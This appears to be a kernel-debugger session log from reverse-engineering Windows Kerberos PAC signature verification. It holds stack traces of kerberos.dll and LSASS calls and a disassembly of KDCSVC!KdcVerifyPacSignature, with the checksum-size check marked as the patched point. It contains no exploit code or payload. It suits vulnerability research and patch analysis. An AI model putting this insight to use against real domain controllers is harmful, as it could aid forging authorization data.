kd> g Breakpoint 4 hit kerberos!PAC_UnMarshal: 001b:71d2d109 8bff mov edi,edi kd> kb ChildEBP RetAddr Args to Child 009cf980 71d17acb 000b8780 00000290 009cfd84 kerberos!PAC_UnMarshal 009cf9fc 71d02dcb 000fbd18 009cfc34 000d62b8 kerberos!KerbCreateTokenFromLogonTicket+0x2ec 009cfc8c 75757814 009cfea8 00000002 000d62b8 kerberos!LsaApLogonUserEx2+0xa9e 009cfcf8 75742941 009cfea8 00000002 000e23c8 LSASRV!NegLogonUserEx2+0x21d 009cfe98 75742286 009cfea8 000b6040 00107500 LSASRV!LsapAuApiDispatchLogonUser+0x335 009cfeac 75739429 00107500 000b4e90 000b6040 LSASRV!LpcLsaLogonUser+0x22 009cfec4 7573934d 00107500 757cf738 000c7968 LSASRV!DispatchAPI+0x46 009cff50 75738ca2 000b4e90 009cff98 7c809c55 LSASRV!LpcHandler+0x153 009cff74 75738d66 0009bd98 00000000 00a4fab0 LSASRV!SpmPoolThreadBase+0xb9 009cffb4 7c80b713 000c34e0 00000000 00a4fab0 LSASRV!LsapThreadBase+0x91 009cffec 00000000 75738d13 000c34e0 00000000 kernel32!BaseThreadStart+0x37 kd> g Breakpoint 5 hit kerberos!PAC_ReMarshal: 001b:71d2d188 8bff mov edi,edi kd> kb ChildEBP RetAddr Args to Child 009cf89c 71d15b25 000b8780 00000290 009cf9cc kerberos!PAC_ReMarshal 009cf96c 71d17b42 009cf9c4 000b8780 00000290 kerberos!KerbVerifyPacSignature+0x185 009cf9fc 71d02dcb 000fbd18 009cfc34 000d62b8 kerberos!KerbCreateTokenFromLogonTicket+0x363 009cfc8c 75757814 009cfea8 00000002 000d62b8 kerberos!LsaApLogonUserEx2+0xa9e 009cfcf8 75742941 009cfea8 00000002 000e23c8 LSASRV!NegLogonUserEx2+0x21d 009cfe98 75742286 009cfea8 000b6040 00107500 LSASRV!LsapAuApiDispatchLogonUser+0x335 009cfeac 75739429 00107500 000b4e90 000b6040 LSASRV!LpcLsaLogonUser+0x22 009cfec4 7573934d 00107500 757cf738 000c7968 LSASRV!DispatchAPI+0x46 009cff50 75738ca2 000b4e90 009cff98 7c809c55 LSASRV!LpcHandler+0x153 009cff74 75738d66 0009bd98 00000000 00a4fab0 LSASRV!SpmPoolThreadBase+0xb9 009cffb4 7c80b713 000c34e0 00000000 00a4fab0 LSASRV!LsapThreadBase+0x91 009cffec 00000000 75738d13 000c34e0 00000000 kernel32!BaseThreadStart+0x37 kd> g Breakpoint 4 hit kerberos!PAC_UnMarshal: 001b:71d2d109 8bff mov edi,edi kd> kb ChildEBP RetAddr Args to Child 009cf89c 71d15c04 000b8780 00000290 009cf9cc kerberos!PAC_UnMarshal 009cf96c 71d17b42 009cf9c4 000b8780 00000290 kerberos!KerbVerifyPacSignature+0x264 009cf9fc 71d02dcb 000fbd18 009cfc34 000d62b8 kerberos!KerbCreateTokenFromLogonTicket+0x363 009cfc8c 75757814 009cfea8 00000002 000d62b8 kerberos!LsaApLogonUserEx2+0xa9e 009cfcf8 75742941 009cfea8 00000002 000e23c8 LSASRV!NegLogonUserEx2+0x21d 009cfe98 75742286 009cfea8 000b6040 00107500 LSASRV!LsapAuApiDispatchLogonUser+0x335 009cfeac 75739429 00107500 000b4e90 000b6040 LSASRV!LpcLsaLogonUser+0x22 009cfec4 7573934d 00107500 757cf738 000c7968 LSASRV!DispatchAPI+0x46 009cff50 75738ca2 000b4e90 009cff98 7c809c55 LSASRV!LpcHandler+0x153 009cff74 75738d66 0009bd98 00000000 00a4fab0 LSASRV!SpmPoolThreadBase+0xb9 009cffb4 7c80b713 000c34e0 00000000 00a4fab0 LSASRV!LsapThreadBase+0x91 009cffec 00000000 75738d13 000c34e0 00000000 kernel32!BaseThreadStart+0x37 kd> g Breakpoint 1 hit kerberos!PAC_UnmarshallValidationInfo: 001b:71d2d466 8bff mov edi,edi kd> kb ChildEBP RetAddr Args to Child 009cf898 71d15cd6 009cf9f0 000b87c8 000001f0 kerberos!PAC_UnmarshallValidationInfo 009cf96c 71d17b42 009cf9c4 000b8780 00000290 kerberos!KerbVerifyPacSignature+0x336 009cf9fc 71d02dcb 000fbd18 009cfc34 000d62b8 kerberos!KerbCreateTokenFromLogonTicket+0x363 009cfc8c 75757814 009cfea8 00000002 000d62b8 kerberos!LsaApLogonUserEx2+0xa9e 009cfcf8 75742941 009cfea8 00000002 000e23c8 LSASRV!NegLogonUserEx2+0x21d 009cfe98 75742286 009cfea8 000b6040 00107500 LSASRV!LsapAuApiDispatchLogonUser+0x335 009cfeac 75739429 00107500 000b4e90 000b6040 LSASRV!LpcLsaLogonUser+0x22 009cfec4 7573934d 00107500 757cf738 000c7968 LSASRV!DispatchAPI+0x46 009cff50 75738ca2 000b4e90 009cff98 7c809c55 LSASRV!LpcHandler+0x153 009cff74 75738d66 0009bd98 00000000 00a4fab0 LSASRV!SpmPoolThreadBase+0xb9 009cffb4 7c80b713 000c34e0 00000000 00a4fab0 LSASRV!LsapThreadBase+0x91 009cffec 00000000 75738d13 000c34e0 00000000 kernel32!BaseThreadStart+0x37 kd> g Breakpoint 3 hit kerberos!PAC_DecodeValidationInformation: 001b:71d2cf2e 6a14 push 14h kd> kb ChildEBP RetAddr Args to Child 009cf884 71d2d47d 000b87c8 000001f0 009cf9f0 kerberos!PAC_DecodeValidationInformation 009cf898 71d15cd6 009cf9f0 000b87c8 000001f0 kerberos!PAC_UnmarshallValidationInfo+0x17 009cf96c 71d17b42 009cf9c4 000b8780 00000290 kerberos!KerbVerifyPacSignature+0x336 009cf9fc 71d02dcb 000fbd18 009cfc34 000d62b8 kerberos!KerbCreateTokenFromLogonTicket+0x363 009cfc8c 75757814 009cfea8 00000002 000d62b8 kerberos!LsaApLogonUserEx2+0xa9e 009cfcf8 75742941 009cfea8 00000002 000e23c8 LSASRV!NegLogonUserEx2+0x21d 009cfe98 75742286 009cfea8 000b6040 00107500 LSASRV!LsapAuApiDispatchLogonUser+0x335 009cfeac 75739429 00107500 000b4e90 000b6040 LSASRV!LpcLsaLogonUser+0x22 009cfec4 7573934d 00107500 757cf738 000c7968 LSASRV!DispatchAPI+0x46 009cff50 75738ca2 000b4e90 009cff98 7c809c55 LSASRV!LpcHandler+0x153 009cff74 75738d66 0009bd98 00000000 00a4fab0 LSASRV!SpmPoolThreadBase+0xb9 009cffb4 7c80b713 000c34e0 00000000 00a4fab0 LSASRV!LsapThreadBase+0x91 009cffec 00000000 75738d13 000c34e0 00000000 kernel32!BaseThreadStart+0x37 kd> g Breakpoint 8 hit kerberos!PPAC_IDL_VALIDATION_INFO_Decode: 001b:71d2d6f5 8bff mov edi,edi kd> kb ChildEBP RetAddr Args to Child 009cf844 71d2cf7f 000936f0 009cf9f0 000b89c0 kerberos!PPAC_IDL_VALIDATION_INFO_Decode 009cf884 71d2d47d 000b87c8 000001f0 009cf9f0 kerberos!PAC_DecodeValidationInformation+0x51 009cf898 71d15cd6 009cf9f0 000b87c8 000001f0 kerberos!PAC_UnmarshallValidationInfo+0x17 009cf96c 71d17b42 009cf9c4 000b8780 00000290 kerberos!KerbVerifyPacSignature+0x336 009cf9fc 71d02dcb 000fbd18 009cfc34 000d62b8 kerberos!KerbCreateTokenFromLogonTicket+0x363 009cfc8c 75757814 009cfea8 00000002 000d62b8 kerberos!LsaApLogonUserEx2+0xa9e 009cfcf8 75742941 009cfea8 00000002 000e23c8 LSASRV!NegLogonUserEx2+0x21d 009cfe98 75742286 009cfea8 000b6040 00107500 LSASRV!LsapAuApiDispatchLogonUser+0x335 009cfeac 75739429 00107500 000b4e90 000b6040 LSASRV!LpcLsaLogonUser+0x22 009cfec4 7573934d 00107500 757cf738 000c7968 LSASRV!DispatchAPI+0x46 009cff50 75738ca2 000b4e90 009cff98 7c809c55 LSASRV!LpcHandler+0x153 009cff74 75738d66 0009bd98 00000000 00a4fab0 LSASRV!SpmPoolThreadBase+0xb9 009cffb4 7c80b713 000c34e0 00000000 00a4fab0 LSASRV!LsapThreadBase+0x91 009cffec 00000000 75738d13 000c34e0 00000000 kernel32!BaseThreadStart+0x37 kd> g
[*] More breakpoints when from XP SP3 client: Looks like there are two paths, to
get the TGT ticket, and to get the service ticket. The last one is the interesting
I think.
kd> kb ChildEBP RetAddr Args to Child 0007f4c0 71cfbc26 00103828 000ed248 000c2f48 kerberos!KerbCacheTicket 0007f68c 71cf3611 00101ce0 000f6c30 00000000 kerberos!KerbGetAuthenticationTicket+0xa77 0007f760 71cf33c8 00101ce0 000f6c30 00000000 kerberos!KerbGetTicketGrantingTicket+0x2f4 0007f794 71cf1db1 00000000 000f6c30 00000000 kerberos!KerbGetTicketForCredential+0x5d 0007f7f4 71cf2d85 000f6c30 80000002 00000000 kerberos!KerbReferenceCredential+0x12a 0007f9a8 7573c293 000f6c30 00000000 0007fe80 kerberos!SpInitLsaModeContext+0xae3 0007fa20 7573ca9a 0007fbb0 0007fb90 0007fe80 LSASRV!WLsaInitContext+0x154 0007fc14 7575dedc 00000000 000a5ad8 0007fe80 LSASRV!NegBuildRequestToken+0x53d 0007fc48 7575de92 00108ef0 0007fe80 00000002 LSASRV!NegGenerateInitialToken+0x28 0007fcac 7573c293 00108ef0 00000000 0007fe80 LSASRV!NegInitLsaModeContext+0x3e6 0007fd24 7573c17c 000f9bf8 000f9c00 0007fe80 LSASRV!WLsaInitContext+0x154 0007feac 75739429 000f9bd0 000b5100 000f9ce0 LSASRV!LpcInitContext+0x1a2 0007fec4 7573934d 000f9bd0 757cf738 0009af50 LSASRV!DispatchAPI+0x46 0007ff50 75738ca2 000b5100 0007ff98 7c809c55 LSASRV!LpcHandler+0x153 0007ff74 75738d66 0009bd98 00000000 00a4fab0 LSASRV!SpmPoolThreadBase+0xb9 0007ffb4 7c80b713 000d3758 00000000 00a4fab0 LSASRV!LsapThreadBase+0x91 0007ffec 00000000 75738d13 000d3758 00000000 kernel32!BaseThreadStart+0x37 kd> g Breakpoint 13 hit kerberos!KerbCacheTicket: 001b:71cf9a79 8bff mov edi,edi kd> kb ChildEBP RetAddr Args to Child 0007f6ec 71cf9a6f 00103818 000d5240 000c2f48 kerberos!KerbCacheTicket 0007f7cc 71cf722e 00101ce0 000f6c30 00000000 kerberos!KerbGetServiceTicket+0x893 0007f9a8 7573c293 00000002 00000000 0007fe80 kerberos!SpInitLsaModeContext+0xd60 0007fa20 7573ca9a 0007fbb0 0007fb90 0007fe80 LSASRV!WLsaInitContext+0x154 0007fc14 7575dedc 00000000 000a5ad8 0007fe80 LSASRV!NegBuildRequestToken+0x53d 0007fc48 7575de92 00108ef0 0007fe80 00000002 LSASRV!NegGenerateInitialToken+0x28 0007fcac 7573c293 00108ef0 00000000 0007fe80 LSASRV!NegInitLsaModeContext+0x3e6 0007fd24 7573c17c 000f9bf8 000f9c00 0007fe80 LSASRV!WLsaInitContext+0x154 0007feac 75739429 000f9bd0 000b5100 000f9ce0 LSASRV!LpcInitContext+0x1a2 0007fec4 7573934d 000f9bd0 757cf738 0009af50 LSASRV!DispatchAPI+0x46 0007ff50 75738ca2 000b5100 0007ff98 7c809c55 LSASRV!LpcHandler+0x153 0007ff74 75738d66 0009bd98 00000000 00a4fab0 LSASRV!SpmPoolThreadBase+0xb9 0007ffb4 7c80b713 000d3758 00000000 00a4fab0 LSASRV!LsapThreadBase+0x91 0007ffec 00000000 75738d13 000d3758 00000000 kernel32!BaseThreadStart+0x37 kd> g
Reaching the important point on my case:
kd> uf KDCSVC!KdcVerifyPacSignature KDCSVC!KdcVerifyPacSignature: 63a89013 8bff mov edi,edi 63a89015 55 push ebp 63a89016 8bec mov ebp,esp 63a89018 81eca8000000 sub esp,0A8h 63a8901e a10010ab63 mov eax,dword ptr [KDCSVC!__security_cookie (63ab1000)] 63a89023 53 push ebx 63a89024 56 push esi 63a89025 8b7514 mov esi,dword ptr [ebp+14h] 63a89028 8945fc mov dword ptr [ebp-4],eax 63a8902b 8b4508 mov eax,dword ptr [ebp+8] 63a8902e 57 push edi 63a8902f 8945ac mov dword ptr [ebp-54h],eax 63a89032 8b450c mov eax,dword ptr [ebp+0Ch] 63a89035 6a0f push 0Fh 63a89037 33db xor ebx,ebx 63a89039 8945a8 mov dword ptr [ebp-58h],eax 63a8903c 59 pop ecx 63a8903d ff7510 push dword ptr [ebp+10h] 63a89040 66899d58ffffff mov word ptr [ebp-0A8h],bx 63a89047 33c0 xor eax,eax 63a89049 8dbd5affffff lea edi,[ebp-0A6h] 63a8904f f3ab rep stos dword ptr es:[edi] 63a89051 56 push esi 63a89052 8975b0 mov dword ptr [ebp-50h],esi 63a89055 895dbc mov dword ptr [ebp-44h],ebx 63a89058 895db8 mov dword ptr [ebp-48h],ebx 63a8905b 895db4 mov dword ptr [ebp-4Ch],ebx 63a8905e 66ab stos word ptr es:[edi] 63a89060 e81feeffff call KDCSVC!PAC_UnMarshal (63a87e84) 63a89065 85c0 test eax,eax 63a89067 0f84178d0000 je KDCSVC!KdcVerifyPacSignature+0x261 (63a91d84) KDCSVC!KdcVerifyPacSignature+0x5a: 63a8906d 8d8558ffffff lea eax,[ebp-0A8h] 63a89073 50 push eax 63a89074 b92810ab63 mov ecx,offset KDCSVC!SecData (63ab1028) 63a89079 e8668bffff call KDCSVC!CSecurityData::GetKrbtgtTicketInfo (63a81be4) 63a8907e 3bc3 cmp eax,ebx 63a89080 8945bc mov dword ptr [ebp-44h],eax 63a89083 0f856c8c0000 jne KDCSVC!KdcVerifyPacSignature+0x72 (63a91cf5) KDCSVC!KdcVerifyPacSignature+0x7d: 63a89089 53 push ebx 63a8908a 6a06 push 6 63a8908c 56 push esi 63a8908d e846ecffff call KDCSVC!PAC_Find (63a87cd8) 63a89092 8bd8 mov ebx,eax 63a89094 85db test ebx,ebx 63a89096 0f8488010000 je KDCSVC!KdcVerifyPacSignature+0x2d1 (63a89224) KDCSVC!KdcVerifyPacSignature+0x90: 63a8909c 8b4b04 mov ecx,dword ptr [ebx+4] 63a8909f 83f904 cmp ecx,4 63a890a2 0f827c010000 jb KDCSVC!KdcVerifyPacSignature+0x2d1 (63a89224) KDCSVC!KdcVerifyPacSignature+0x9c: 63a890a8 8b4308 mov eax,dword ptr [ebx+8] 63a890ab 83c1fc add ecx,0FFFFFFFCh 63a890ae 8d5004 lea edx,[eax+4] 63a890b1 894598 mov dword ptr [ebp-68h],eax 63a890b4 8bc1 mov eax,ecx 63a890b6 c1e902 shr ecx,2 63a890b9 8bf2 mov esi,edx 63a890bb 8d7de8 lea edi,[ebp-18h] 63a890be f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 63a890c0 8bc8 mov ecx,eax 63a890c2 83e103 and ecx,3 63a890c5 f3a4 rep movs byte ptr es:[edi],byte ptr [esi] 63a890c7 8b4b04 mov ecx,dword ptr [ebx+4] 63a890ca 83e904 sub ecx,4 63a890cd 8bfa mov edi,edx 63a890cf 8bd1 mov edx,ecx 63a890d1 c1e902 shr ecx,2 63a890d4 33c0 xor eax,eax 63a890d6 f3ab rep stos dword ptr es:[edi] 63a890d8 6a00 push 0 63a890da 8bca mov ecx,edx 63a890dc 6a07 push 7 63a890de ff75b0 push dword ptr [ebp-50h] 63a890e1 83e103 and ecx,3 63a890e4 f3aa rep stos byte ptr es:[edi] 63a890e6 e8edebffff call KDCSVC!PAC_Find (63a87cd8) 63a890eb 85c0 test eax,eax 63a890ed 89459c mov dword ptr [ebp-64h],eax 63a890f0 0f842e010000 je KDCSVC!KdcVerifyPacSignature+0x2d1 (63a89224) KDCSVC!KdcVerifyPacSignature+0xea: 63a890f6 8b5004 mov edx,dword ptr [eax+4] 63a890f9 83fa04 cmp edx,4 63a890fc 0f8222010000 jb KDCSVC!KdcVerifyPacSignature+0x2d1 (63a89224) KDCSVC!KdcVerifyPacSignature+0xf6: 63a89102 8b4808 mov ecx,dword ptr [eax+8] 63a89105 8d7104 lea esi,[ecx+4] 63a89108 894da0 mov dword ptr [ebp-60h],ecx 63a8910b 8d4afc lea ecx,[edx-4] 63a8910e 8bd1 mov edx,ecx 63a89110 c1e902 shr ecx,2 63a89113 ff7510 push dword ptr [ebp+10h] 63a89116 8975a4 mov dword ptr [ebp-5Ch],esi 63a89119 ff75b0 push dword ptr [ebp-50h] 63a8911c 8d7dc0 lea edi,[ebp-40h] 63a8911f f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 63a89121 8bca mov ecx,edx 63a89123 83e103 and ecx,3 63a89126 f3a4 rep movs byte ptr es:[edi],byte ptr [esi] 63a89128 8b4804 mov ecx,dword ptr [eax+4] 63a8912b 8b7da4 mov edi,dword ptr [ebp-5Ch] 63a8912e 83e904 sub ecx,4 63a89131 8bd1 mov edx,ecx 63a89133 c1e902 shr ecx,2 63a89136 33c0 xor eax,eax 63a89138 f3ab rep stos dword ptr es:[edi] 63a8913a 8bca mov ecx,edx 63a8913c 83e103 and ecx,3 63a8913f f3aa rep stos byte ptr es:[edi] 63a89141 e810e5ffff call KDCSVC!PAC_ReMarshal (63a87656) 63a89146 84c0 test al,al 63a89148 0f84d6000000 je KDCSVC!KdcVerifyPacSignature+0x2d1 (63a89224) KDCSVC!KdcVerifyPacSignature+0x142: 63a8914e 8d45b8 lea eax,[ebp-48h] 63a89151 50 push eax 63a89152 8b4598 mov eax,dword ptr [ebp-68h] 63a89155 ff30 push dword ptr [eax] 63a89157 e8538affff call KDCSVC!CDLocateCheckSum (63a81baf) 63a8915c 85c0 test eax,eax 63a8915e 0f8ce38b0000 jl KDCSVC!KdcVerifyPacSignature+0x224 (63a91d47) KDCSVC!KdcVerifyPacSignature+0x158: 63a89164 8b55b8 mov edx,dword ptr [ebp-48h] 63a89167 837a0414 cmp dword ptr [edx+4],14h // DEBUG HERE IS THE ORIGINAL PATCH 63a8916b 0f87138c0000 ja KDCSVC!KdcVerifyPacSignature+0x261 (63a91d84) KDCSVC!KdcVerifyPacSignature+0x165: 63a89171 8b4a20 mov ecx,dword ptr [edx+20h] 63a89174 85c9 test ecx,ecx 63a89176 8d45b4 lea eax,[ebp-4Ch] 63a89179 50 push eax 63a8917a 6a11 push 11h 63a8917c 0f857e8b0000 jne KDCSVC!KdcVerifyPacSignature+0x172 (63a91d00) KDCSVC!KdcVerifyPacSignature+0x183: 63a89182 8b45ac mov eax,dword ptr [ebp-54h] 63a89185 ff7004 push dword ptr [eax+4] 63a89188 ff7008 push dword ptr [eax+8] 63a8918b ff521c call dword ptr [edx+1Ch] KDCSVC!KdcVerifyPacSignature+0x18f: 63a8918e 85c0 test eax,eax 63a89190 0f8cee8b0000 jl KDCSVC!KdcVerifyPacSignature+0x261 (63a91d84) KDCSVC!KdcVerifyPacSignature+0x197: 63a89196 ff75b0 push dword ptr [ebp-50h] 63a89199 8b45b8 mov eax,dword ptr [ebp-48h] 63a8919c ff7510 push dword ptr [ebp+10h] 63a8919f ff75b4 push dword ptr [ebp-4Ch] 63a891a2 ff5010 call dword ptr [eax+10h] 63a891a5 8d45d4 lea eax,[ebp-2Ch] 63a891a8 50 push eax 63a891a9 ff75b4 push dword ptr [ebp-4Ch] 63a891ac 8b45b8 mov eax,dword ptr [ebp-48h] 63a891af ff5014 call dword ptr [eax+14h] 63a891b2 8d45b4 lea eax,[ebp-4Ch] 63a891b5 50 push eax 63a891b6 8b45b8 mov eax,dword ptr [ebp-48h] 63a891b9 ff5018 call dword ptr [eax+18h] 63a891bc 8b45b8 mov eax,dword ptr [ebp-48h] 63a891bf 8b4804 mov ecx,dword ptr [eax+4] 63a891c2 8b4304 mov eax,dword ptr [ebx+4] 63a891c5 83e804 sub eax,4 63a891c8 3bc8 cmp ecx,eax 63a891ca 754e jne KDCSVC!KdcVerifyPacSignature+0x2ba (63a8921a) KDCSVC!KdcVerifyPacSignature+0x1d1: 63a891cc 8d7de8 lea edi,[ebp-18h] 63a891cf 8d75d4 lea esi,[ebp-2Ch] 63a891d2 33c0 xor eax,eax 63a891d4 f3a6 repe cmps byte ptr [esi],byte ptr es:[edi] 63a891d6 7542 jne KDCSVC!KdcVerifyPacSignature+0x2ba (63a8921a) KDCSVC!KdcVerifyPacSignature+0x1e1: 63a891d8 8b45a8 mov eax,dword ptr [ebp-58h] 63a891db 817820f6010000 cmp dword ptr [eax+20h],1F6h 63a891e2 0f852c8b0000 jne KDCSVC!KdcVerifyPacSignature+0x1f1 (63a91d14) KDCSVC!KdcVerifyPacSignature+0x2ee: 63a891e8 837dbc29 cmp dword ptr [ebp-44h],29h 63a891ec 0f841e8c0000 je KDCSVC!KdcVerifyPacSignature+0x2f4 (63a91e10) KDCSVC!KdcVerifyPacSignature+0x340: 63a891f2 837db400 cmp dword ptr [ebp-4Ch],0 63a891f6 5f pop edi 63a891f7 5e pop esi 63a891f8 5b pop ebx 63a891f9 0f85668c0000 jne KDCSVC!KdcVerifyPacSignature+0x349 (63a91e65) KDCSVC!KdcVerifyPacSignature+0x357: 63a891ff 8d8558ffffff lea eax,[ebp-0A8h] 63a89205 50 push eax 63a89206 e8498cffff call KDCSVC!FreeTicketInfo (63a81e54) 63a8920b 8b4dfc mov ecx,dword ptr [ebp-4] 63a8920e 8b45bc mov eax,dword ptr [ebp-44h] 63a89211 e83f89ffff call KDCSVC!__security_check_cookie (63a81b55) 63a89216 c9 leave 63a89217 c21000 ret 10h KDCSVC!KdcVerifyPacSignature+0x2ba: 63a8921a 683092a863 push offset KDCSVC!`string' (63a89230) 63a8921f e9bb8b0000 jmp KDCSVC!KdcVerifyPacSignature+0x2bf (63a91ddf) KDCSVC!KdcVerifyPacSignature+0x2d1: 63a89224 c745bc3c000000 mov dword ptr [ebp-44h],3Ch 63a8922b e9c18b0000 jmp KDCSVC!KdcVerifyPacSignature+0x2d8 (63a91df1) KDCSVC!KdcVerifyPacSignature+0x72: 63a91cf5 50 push eax 63a91cf6 e884120100 call KDCSVC!KerbMapKerbError (63aa2f7f) 63a91cfb e9f1000000 jmp KDCSVC!KdcVerifyPacSignature+0x2d8 (63a91df1) KDCSVC!KdcVerifyPacSignature+0x172: 63a91d00 8d45e8 lea eax,[ebp-18h] 63a91d03 50 push eax 63a91d04 8b45ac mov eax,dword ptr [ebp-54h] 63a91d07 ff7004 push dword ptr [eax+4] 63a91d0a ff7008 push dword ptr [eax+8] 63a91d0d ffd1 call ecx 63a91d0f e97a74ffff jmp KDCSVC!KdcVerifyPacSignature+0x18f (63a8918e) KDCSVC!KdcVerifyPacSignature+0x1f1: 63a91d14 f6401c40 test byte ptr [eax+1Ch],40h 63a91d18 0f85ca74ffff jne KDCSVC!KdcVerifyPacSignature+0x2ee (63a891e8) KDCSVC!KdcVerifyPacSignature+0x1fb: 63a91d1e 687bffffff push 0FFFFFF7Bh 63a91d23 ff7584 push dword ptr [ebp-7Ch] 63a91d26 e848fefeff call KDCSVC!KerbGetKeyFromList (63a81b73) 63a91d2b 8bf0 mov esi,eax 63a91d2d 85f6 test esi,esi 63a91d2f 0f84b374ffff je KDCSVC!KdcVerifyPacSignature+0x2ee (63a891e8) KDCSVC!KdcVerifyPacSignature+0x212: 63a91d35 8d45b8 lea eax,[ebp-48h] 63a91d38 50 push eax 63a91d39 8b45a0 mov eax,dword ptr [ebp-60h] 63a91d3c ff30 push dword ptr [eax] 63a91d3e e86cfefeff call KDCSVC!CDLocateCheckSum (63a81baf) 63a91d43 85c0 test eax,eax 63a91d45 7d0c jge KDCSVC!KdcVerifyPacSignature+0x230 (63a91d53) KDCSVC!KdcVerifyPacSignature+0x224: 63a91d47 c745bc0f000000 mov dword ptr [ebp-44h],0Fh 63a91d4e e99f74ffff jmp KDCSVC!KdcVerifyPacSignature+0x340 (63a891f2) KDCSVC!KdcVerifyPacSignature+0x230: 63a91d53 8b45b8 mov eax,dword ptr [ebp-48h] 63a91d56 8b4820 mov ecx,dword ptr [eax+20h] 63a91d59 85c9 test ecx,ecx 63a91d5b 7414 je KDCSVC!KdcVerifyPacSignature+0x24e (63a91d71) KDCSVC!KdcVerifyPacSignature+0x23a: 63a91d5d 8d45b4 lea eax,[ebp-4Ch] 63a91d60 50 push eax 63a91d61 6a11 push 11h 63a91d63 8d45c0 lea eax,[ebp-40h] 63a91d66 50 push eax 63a91d67 ff7604 push dword ptr [esi+4] 63a91d6a ff7608 push dword ptr [esi+8] 63a91d6d ffd1 call ecx 63a91d6f eb0f jmp KDCSVC!KdcVerifyPacSignature+0x25d (63a91d80) KDCSVC!KdcVerifyPacSignature+0x24e: 63a91d71 8d4db4 lea ecx,[ebp-4Ch] 63a91d74 51 push ecx 63a91d75 6a11 push 11h 63a91d77 ff7604 push dword ptr [esi+4] 63a91d7a ff7608 push dword ptr [esi+8] 63a91d7d ff501c call dword ptr [eax+1Ch] KDCSVC!KdcVerifyPacSignature+0x25d: 63a91d80 85c0 test eax,eax 63a91d82 7d0c jge KDCSVC!KdcVerifyPacSignature+0x26d (63a91d90) KDCSVC!KdcVerifyPacSignature+0x261: 63a91d84 c745bc3c000000 mov dword ptr [ebp-44h],3Ch 63a91d8b e96274ffff jmp KDCSVC!KdcVerifyPacSignature+0x340 (63a891f2) KDCSVC!KdcVerifyPacSignature+0x26d: 63a91d90 8d45e8 lea eax,[ebp-18h] 63a91d93 50 push eax 63a91d94 8b45b8 mov eax,dword ptr [ebp-48h] 63a91d97 ff7004 push dword ptr [eax+4] 63a91d9a ff75b4 push dword ptr [ebp-4Ch] 63a91d9d ff5010 call dword ptr [eax+10h] 63a91da0 8d45d4 lea eax,[ebp-2Ch] 63a91da3 50 push eax 63a91da4 ff75b4 push dword ptr [ebp-4Ch] 63a91da7 8b45b8 mov eax,dword ptr [ebp-48h] 63a91daa ff5014 call dword ptr [eax+14h] 63a91dad 8d45b4 lea eax,[ebp-4Ch] 63a91db0 50 push eax 63a91db1 8b45b8 mov eax,dword ptr [ebp-48h] 63a91db4 ff5018 call dword ptr [eax+18h] 63a91db7 8b45b8 mov eax,dword ptr [ebp-48h] 63a91dba 8b4804 mov ecx,dword ptr [eax+4] 63a91dbd 8b459c mov eax,dword ptr [ebp-64h] 63a91dc0 8b4004 mov eax,dword ptr [eax+4] 63a91dc3 83e804 sub eax,4 63a91dc6 3bc8 cmp ecx,eax 63a91dc8 7510 jne KDCSVC!KdcVerifyPacSignature+0x2b3 (63a91dda) KDCSVC!KdcVerifyPacSignature+0x2a7: 63a91dca 8d7dc0 lea edi,[ebp-40h] 63a91dcd 8d75d4 lea esi,[ebp-2Ch] 63a91dd0 33c0 xor eax,eax 63a91dd2 f3a6 repe cmps byte ptr [esi],byte ptr es:[edi] 63a91dd4 0f840e74ffff je KDCSVC!KdcVerifyPacSignature+0x2ee (63a891e8) KDCSVC!KdcVerifyPacSignature+0x2b3: 63a91dda 687c1ea963 push offset KDCSVC!`string' (63a91e7c) KDCSVC!KdcVerifyPacSignature+0x2bf: 63a91ddf 6a01 push 1 63a91de1 e89d1effff call KDCSVC!KDCDebugPrint (63a83c83) 63a91de6 59 pop ecx 63a91de7 59 pop ecx 63a91de8 c745bc29000000 mov dword ptr [ebp-44h],29h 63a91def eb1f jmp KDCSVC!KdcVerifyPacSignature+0x2f4 (63a91e10) KDCSVC!KdcVerifyPacSignature+0x2d8: 63a91df1 ff7510 push dword ptr [ebp+10h] 63a91df4 ff75b0 push dword ptr [ebp-50h] 63a91df7 e85a58ffff call KDCSVC!PAC_ReMarshal (63a87656) 63a91dfc 84c0 test al,al 63a91dfe 0f85e473ffff jne KDCSVC!KdcVerifyPacSignature+0x2ee (63a891e8) KDCSVC!KdcVerifyPacSignature+0x2e7: 63a91e04 c745bc3c000000 mov dword ptr [ebp-44h],3Ch 63a91e0b e9d873ffff jmp KDCSVC!KdcVerifyPacSignature+0x2ee (63a891e8) KDCSVC!KdcVerifyPacSignature+0x2f4: 63a91e10 8b75a8 mov esi,dword ptr [ebp-58h] 63a91e13 0fb706 movzx eax,word ptr [esi] 63a91e16 40 inc eax 63a91e17 40 inc eax 63a91e18 50 push eax 63a91e19 e84301ffff call KDCSVC!MIDL_user_allocate (63a81f61) 63a91e1e 8bd8 mov ebx,eax 63a91e20 85db test ebx,ebx 63a91e22 7416 je KDCSVC!KdcVerifyPacSignature+0x31e (63a91e3a) KDCSVC!KdcVerifyPacSignature+0x308: 63a91e24 0fb70e movzx ecx,word ptr [esi] 63a91e27 8b7604 mov esi,dword ptr [esi+4] 63a91e2a 8bc1 mov eax,ecx 63a91e2c c1e902 shr ecx,2 63a91e2f 8bfb mov edi,ebx 63a91e31 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 63a91e33 8bc8 mov ecx,eax 63a91e35 83e103 and ecx,3 63a91e38 f3a4 rep movs byte ptr es:[edi],byte ptr [esi] KDCSVC!KdcVerifyPacSignature+0x31e: 63a91e3a 53 push ebx 63a91e3b 6a01 push 1 63a91e3d 8d45bc lea eax,[ebp-44h] 63a91e40 50 push eax 63a91e41 6a04 push 4 63a91e43 68120000c0 push 0C0000012h 63a91e48 6a01 push 1 63a91e4a e8aa550000 call KDCSVC!ReportServiceEvent (63a973f9) 63a91e4f 83c418 add esp,18h 63a91e52 85db test ebx,ebx 63a91e54 0f849873ffff je KDCSVC!KdcVerifyPacSignature+0x340 (63a891f2) KDCSVC!KdcVerifyPacSignature+0x33a: 63a91e5a 53 push ebx 63a91e5b e84700ffff call KDCSVC!MIDL_user_free (63a81ea7) 63a91e60 e98d73ffff jmp KDCSVC!KdcVerifyPacSignature+0x340 (63a891f2) KDCSVC!KdcVerifyPacSignature+0x349: 63a91e65 8b45b8 mov eax,dword ptr [ebp-48h] 63a91e68 85c0 test eax,eax 63a91e6a 0f848f73ffff je KDCSVC!KdcVerifyPacSignature+0x357 (63a891ff) KDCSVC!KdcVerifyPacSignature+0x350: 63a91e70 8d4db4 lea ecx,[ebp-4Ch] 